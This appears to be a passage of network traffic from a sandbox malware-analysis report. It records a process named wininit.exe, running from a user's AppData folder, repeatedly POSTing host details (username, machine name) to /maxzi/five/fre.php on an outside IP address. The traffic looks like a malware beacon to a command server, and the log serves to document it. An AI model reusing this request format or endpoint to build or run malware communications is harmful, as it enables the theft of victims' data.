Nov 20, 2024 10:57:36.546091080 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:57:37.284640074 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:57:37 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	58493	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:57:37.553431988 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:57:37.558372021 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:57:38.277973890 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:57:38 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	58495	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:57:38.437248945 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:57:38.444139957 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:57:39.182497978 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:57:39 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	58497	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:57:39.339431047 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:57:39.350219011 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:57:40.083363056 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:57:39 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	58498	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:57:40.383876085 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:57:40.390681982 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:57:41.132220984 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:57:41 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	58499	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:57:41.275645971 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:57:41.280822039 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:57:42.026184082 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:57:41 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	58500	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:57:42.189214945 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:57:42.194530010 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:57:42.950089931 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:57:42 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	58501	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:57:43.104093075 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:57:43.109049082 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:57:43.869158030 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:57:43 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	58502	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:57:44.028678894 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:57:44.036670923 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:57:44.776602983 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:57:44 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	58503	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:57:44.945676088 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:57:44.953135967 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:57:45.698539972 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:57:45 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	58504	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:57:45.856882095 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:57:45.861829042 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:57:46.613703012 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:57:46 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	58505	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:57:46.767010927 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:57:46.774216890 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:57:47.563374043 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:57:47 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	58506	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:57:47.721282005 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:57:47.730504036 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:57:48.461930990 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:57:48 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	58507	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:57:48.609719992 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:57:48.614778996 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:57:49.351393938 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:57:49 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	58508	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:57:49.513509989 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:57:49.520288944 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:57:50.260884047 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:57:50 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	58509	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:57:50.443767071 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:57:50.448704004 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:57:51.211325884 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:57:51 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	58510	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:57:51.373881102 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:57:51.379034996 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:57:52.132011890 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:57:52 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	58511	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:57:52.275599957 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:57:52.282630920 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:57:53.044281960 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:57:52 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	58512	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:57:53.196384907 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:57:53.201630116 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:57:53.951361895 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:57:53 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	58513	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:57:54.103605032 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:57:54.109455109 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:57:54.872958899 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:57:54 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	58514	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:57:55.028426886 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:57:55.033418894 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:57:55.757050991 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:57:55 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	58515	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:57:56.034521103 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:57:56.039529085 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
